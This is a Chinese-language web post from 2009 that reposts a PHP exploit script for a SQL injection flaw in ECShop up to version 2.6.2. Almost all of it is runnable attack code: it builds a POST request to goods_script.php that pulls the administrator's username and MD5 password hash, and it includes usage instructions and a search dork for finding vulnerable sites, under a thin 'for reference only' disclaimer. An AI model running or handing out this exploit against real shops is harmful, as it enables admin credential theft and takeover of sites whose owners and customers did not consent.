首页 运维 网络学院 查看内容

ecshop漏洞又出来了

2009-3-24 18:53 862 0

摘要: 作者:Ryat 去年的是2.5的漏洞,今年的也杀2.6,切忌不要乱入侵! 只供参考! EXP: #!/usr/bin/php<?phpprint_r('+--------------...
关键词: 漏洞 去年 参考 今年 不要 作者 Ryat bin php usr

作者:Ryat 去年的是2.5的漏洞,今年的也杀2.6,切忌不要乱入侵! 只供参考! EXP: #!/usr/bin/php<?phpprint_r('+---------------------------------------------------------------------------+ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploitby puret_tmail: puretot at gmail dot comteam: http://www.smxiaoqiang.cndork: "Powered by ECShop"+---------------------------------------------------------------------------+');/*** works with register_globals = On*/if ($argc < 3) {    print_r('+---------------------------------------------------------------------------+Usage: php '.$argv[0].' host pathhost:      target server (ip/hostname)path:      path to ecshopExample:php '.$argv[0].' localhost /ecshop/+---------------------------------------------------------------------------+');    exit;}error_reporting(7);ini_set('max_execution_time', 0);$host = $argv[1];$path = $argv[2];$resp = send();preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);if ($hash)    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");else    exit("Exploit Failed!\n");function send(){    global $host, $path;    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";    $data .= "Accept: */*\r\n";    $data .= "Accept-Language: zh-cn\r\n";    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";    $data .= "Host: $host\r\n";    $data .= "Content-Length: ".strlen($cmd)."\r\n";    $data .= "Connection: Close\r\n\r\n";    $data .= $cmd;    $fp = fsockopen($host, 80);    fputs($fp, $data);    $resp = '';    while ($fp && !feof($fp))        $resp .= fread($fp, 1024);    return $resp;}?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部